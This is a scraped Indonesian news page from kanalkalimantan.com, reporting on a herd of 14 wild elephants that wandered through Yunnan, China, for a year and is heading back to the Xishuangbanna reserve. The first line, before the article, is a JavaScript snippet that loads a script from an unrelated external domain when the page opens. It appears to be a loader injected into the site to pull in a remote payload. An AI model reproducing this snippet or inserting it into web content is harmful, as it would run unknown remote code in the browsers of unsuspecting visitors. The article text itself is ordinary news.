(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Kawanan gajah liar yang kabur di China dan berkeliaran selama satu tahun, akhirnya akan kembali pulang ke tempat asalnya.
Gajah-gajah tersebut sempat menarik perhatian dunia karena merampok pertenakan dan bahkan rumah jompo untuk mencari makanan dalam aksi pelarian diri.
Sebanyak 14 gajah Asia, termasuk tiga anak gajah, dilaporkan terlihat pada Minggu (8/8/2021), menuju jembatan di Provinsi Yunan barat daya China.
Kawanan itu masih berkeliaran sekitar 125 mil jauhnya dari Cagar Alam Nasional Xishuangbanna tempat di mana hewan berbelalai itu tinggal.
Baca juga: PPKM Level 4 Diperpanjang hingga 16 Agustus, Termasuk Banjarmasin dan Banjarbaru!
Tapi, pemerintah setempat saat ini membuka jalan untuk membantu membimbing gajah-gajah tersebut untuk kembali ke sana.
Kawanan meninggalkan cagar alam satu tahun yang lalu karena alasan yang tidak diketahui dan memulai perjalanan “pelarian diri” sejauh 300 mil ke utara China.
Pihak berwenang telah menghabiskan waktu selama tahun lalu mengerahkan truk, pekerja, dan setidaknya 14 drone tak berawak untuk memantau pergerakan gajah.Rekaman drone yang menggemaskan dibagikan pada Juni menangkap kawanan gajah tengah tidur siang bersama di dekat Xiyang.
Pemerintah setempat juga telah mengevakuasi jalan sehingga gajah-gajah itu bisa lewat dengan aman.
Mereka juga menggunakan makanan untuk memancing hewan menjauh dari daerah perkotaan yang padat penduduk.
Setelah mencapai pinggiran Kota Kunming pada Juni, kawanan itu berbelok ke selatan lagi dan tampaknya sekarang sedang dalam perjalanan pulang.
Dilansir dari New York Post, Selasa (10/8/2021), gajah-gajah itu telah menginjak setidaknya 15 peternakan dan menyebabkan lebih dari satu juta dolar kerusakan ekonomi sepanjang hewan itu melakukan perjalanan.
Namun, tidak ada hewan dan manusia yang terluka saat gajah berkeliaran bebas.
Meskipun, salah satu gajah jantan yang terpisah dari kawanannya awal bulan lalu, ditenangkan dan dikembalikan ke cagar alam.
China saat ini hanya memiliki sekitar 300 gajah liar yang tersisa dan status hewan itu di negara tersebut sangat dilindungi.
Mengingat tidak jelasnya alasan mengapa gajah itu meninggalkan cagar alam, beberapa orang berspekulasi kemungkinan akibat hilangnya habitat dan sumber makanan.
Baca juga: ABG Cari Duit Retas Situs Setkab RI, ML dan Rekannya Bobol 650 Website
Tetapi, hal itu disangkal oleh National Forestry and Grassland Administration yang mengatakan bahwa gajah-gajah tersebut berada di habitat yang sesuai. (Suara.com)Editor: suara
KANALKALIMANTAN.COM, BANJARBARU - Menyambut Tahun Baru 2025, Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Meningkatan kualitas pelayanan kesehatan masyarakat, Penjabat (Pj) Bupati Hulu Sungai Utara (HSU)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemusnahan arsip dilakukan oleh Dinas Arsip dan Perpustakaan Daerah (Darpusda) Kota Banjarbaru… Read More
KANALKALIMANTAN. COM, BATULICIN - Batulicin Festival (Batfest) 2024 benar-benar menyala. Memasuki hari ketiga, panggung spektakuler… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menyerahkan penghargaan kepada… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kapal tongkang pengangkut alat berat tersangkut di kolong jembatan saat melintas di… Read More
This website uses cookies.